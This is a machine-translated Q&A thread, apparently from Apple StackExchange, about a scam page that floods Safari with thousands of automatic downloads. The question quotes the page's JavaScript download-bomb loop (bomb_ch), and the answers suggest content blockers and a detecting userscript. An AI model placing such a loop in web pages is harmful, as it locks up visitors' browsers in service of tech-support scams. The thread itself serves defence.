Zapobiegaj pobieraniu spamu w przeglądarce Safari

8

tło

Nowa strona spamowa zaczęła pojawiać się w wielu „wątpliwych” witrynach (witrynach z filmami itp.). Ta nowa strona ze spamem pasuje do kategorii fałszywych skanów, MacKeeper, „MASZ WIRUSA” itp.

Problem

Problem z tą nową stroną polega na tym, że zamiast tylko wyskakującego okienka, strona faktycznie inicjuje pobieranie losowych plików 2kb (nieszkodliwe, tylko losowe pliki tekstowe) wielokrotnie co ~ 1ms. Folder pobierania zapełnia się, zanim można zamknąć okno, a ty pozostajesz do usunięcia ponad 1000 plików. W przeciwieństwie do podobnego problemu, w którym spam na stronie wywołuje okno dialogowe drukowania, jest bardzo mało czasu na reakcję.

Nieudane próby rozwiązania problemów

  • Próbowałem zablokować folder pobierania. Chociaż uniemożliwiło to ... pobranie ... pobrania, pojawia się okno dialogowe (patrz zdjęcie). Zwykle mogę po prostu zamknąć to okno dialogowe, ale ponieważ próba pobierania jest podejmowana co ~ 1ms, za każdym razem, gdy próbuję zamknąć, pojawia się nowe okno dialogowe, uniemożliwiając mi zamknięcie okna.

  • Wymuś zamknięcie Safari, co zatrzymuje pobieranie (po pobraniu 1k), ale potem tracę wszystkie inne okna

  • Zmiana ustawień na „Pytaj o każde pobranie” w preferencjach Safari. Nie działa, ponieważ 1 tys. Osobnych otwartych okien dialogowych uniemożliwia mi nawet zamknięcie karty. Ostatecznie zawiesza się Safari.

wprowadź opis zdjęcia tutaj

wprowadź opis zdjęcia tutaj

Pytanie

Jak mogę zapobiec pobieraniu spamu w Safari?

AKTUALIZACJA:

Oto kod powodujący pobranie (otrzymałem go przez wyłączenie JavaScript i ręczne przeglądanie kodu):

 function download(g, h, j) {
                var k = new Blob([g], {
                        type: j
                });
                if (window.navigator.msSaveOrOpenBlob) window.navigator.msSaveOrOpenBlob(k, h);
                else {
                        var l = document.createElement("a"),
                                m = URL.createObjectURL(k);
                        l.href = m, l.download = h, l.click(), setTimeout(function() {}, 0)
                }
        }
        function bomb_ch() {
                var g = Math.random().toString(36).substring(20),
                        h = Math.floor(50 * Math.random() + 25);
                while (true) download(h, g, g)
        }
        function ch_jam() {
                bomb_ch()
        }

Uwaga: miałem problemy z uruchomieniem JS na niestandardowej stronie. Zamarł zamiast pobierać. Udało mi się emulować pobieranie przy użyciu setInterval()funkcji wywołującej downloadfunkcję.

Więcej informacji: https://blog.malwarebytes.com/malwarebytes-news/2018/02/tech-support-scammers-find-new-way-jam-google-chrome/

JBis
źródło
Komentarze nie są przeznaczone do rozszerzonej dyskusji; ta rozmowa została przeniesiona do czatu .
bmike
@JBis Nadchodzi czas na przyznanie nagrody
Matt
@Matt Dostaję kolejne 24 godziny. I nie udzielam żadnej odpowiedzi w obecnej formie.
JBis

Odpowiedzi:

5

Czy nie byłby to dobry przypadek dla selektywnego blokowania treści Safari / blokowania javascript?

Ghostery może być dobrym miejscem na start na Macu, aby sprawdzić, czy możesz użyć gotowych reguł, aby stłumić skrypty między witrynami / wstrzyknąć reklamy do stron internetowych. Oczywiście, jeśli strona wyświetla tę treść bezpośrednio, musisz całkowicie wyłączyć javascript na tej stronie lub zanotować i po prostu zablokować te witryny, które celowo psują twoje wrażenia lub z powodu sprzedaży zastrzyku reklamy każdemu, kto ma możliwość stać na to przestraszyć i oszustwo.

Jeśli chcesz być bardziej precyzyjny - skrypty użytkownika typu GreaseMonkey mogą zwalczyć to przy wystarczającej wiedzy z Twojej strony (lub znaleźć kogoś, kto napisał skrypt, aby zablokować dzisiejszą iterację tego złośliwego oprogramowania).

Edytowane przez @JBis

Następujący skrypt użytkownika skutecznie blokował stronę.

     // ==UserScript==
     // @name         The Bomb Squad
     // @version      0.1
     // @description  Blocks the pages containing any function with the bomb_ch function detailed in /apple/329594/prevent-spam-downloads-on-safari and https://blog.malwarebytes.com/malwarebytes-news/2018/02/tech-support-scammers-find-new-way-jam-google-chrome/
     // @author       Josh Brown (@JBis https://apple.stackexchange.com/users/263848/jbis)
     // @match        *
     // @grant        none

    // ==/UserScript==

   if (typeof bomb_ch === "function") {
     document.getElementsByTagName("body")[0].innerHTML="<h1>Page Defused by The Bomb Squad</h1><p>Because it contatained the following
 function(s):  <pre>bomb_ch()</pre> <br>";
    }

Uwaga: Ammery Sp (c) mogą z łatwością ominąć to, losując bomb_ch()funkcję.

Nowsze wersje Safari mogą nieco to zmniejszyć, ale ludzie zarabiają na Macu dużo pieniędzy, więc prawdopodobnie dostosują się do wszelkich technologii, które starają się łatwo zablokować. Chyba że jesteś gotów wydać więcej pieniędzy na wsparcie firmy, która utrzymuje bibliotekę ustawień, które mogą „walić kretem” i dostosowywać się szybciej niż szarlatani mogą przygotować nowy kod w swojej kotłowni .

Będziesz także musiał zdecydować, czy strony internetowe, które to robią, są również szarlatanami, które są częścią oszustwa, ponieważ powinny wiedzieć, że to się dzieje z tobą, jednym z odwiedzających ich gości.

bmike
źródło
2
@JBis Tampermonkey działa, jeśli go zainstalujesz ręcznie: pomijanie „Safari nie obsługuje już niebezpiecznego rozszerzenia” w systemie macOS Mojave
grg
1
@grg Grg ( dźwięk ) musisz ponownie uruchomić każdy restart przeglądarki :)
JBis
5

Chociaż istnieje wiele skutecznych programów blokujących reklamy w przeglądarce Safari, istnieje znacznie mniej możliwości wyboru programów blokujących treści o szerszym spektrum. Spośród nich wyróżniają się tylko dwa: Ghostery i uBlockOrigin [ link informacyjny: https://github.com/gorhill/uBlock link do pobrania: https://safari-extensions.apple.com/?q=ublock%20origin .

EDIT: Nie należy mylić uBlock Origin z bardzo podobnej nazwie uBlock, . Te dwa produkty różnią się zasadniczo pod względem zdolności i reputacji.

Czy mogą robić, co chcesz, i zapobiegać bombardowaniu plików przez znajomych? Tak, z tym wyjątkiem, że Ghostery będzie wymagało dostosowania reguł, w których uBlockOrigin jest ustawiony jako domyślny.

Wiem, że uBlockOrigin zablokował ten konkretny exploit na miesiąc przed ogłoszeniem Malwarebytes w linku „Więcej informacji”. Nie wiem o osi czasu Ghostery.

Poleciłbym, abyś obaj dał im próbę.

Doc G.
źródło
Proszę nie usuwać odpowiedzi. Nadal może pomagać innym. Będę kontynuować testowanie, aby sprawdzić, czy narzędzie może blokować za pomocą niestandardowej reguły.
JBis
@JBis, jeśli chcesz umieścić na czacie adres URL, który możemy usunąć później, ping mnie tam. Mówisz, że jedyne kliknięcie „wyłącz wszystko” z widma nie chroni cię przed tą funkcją.
bmike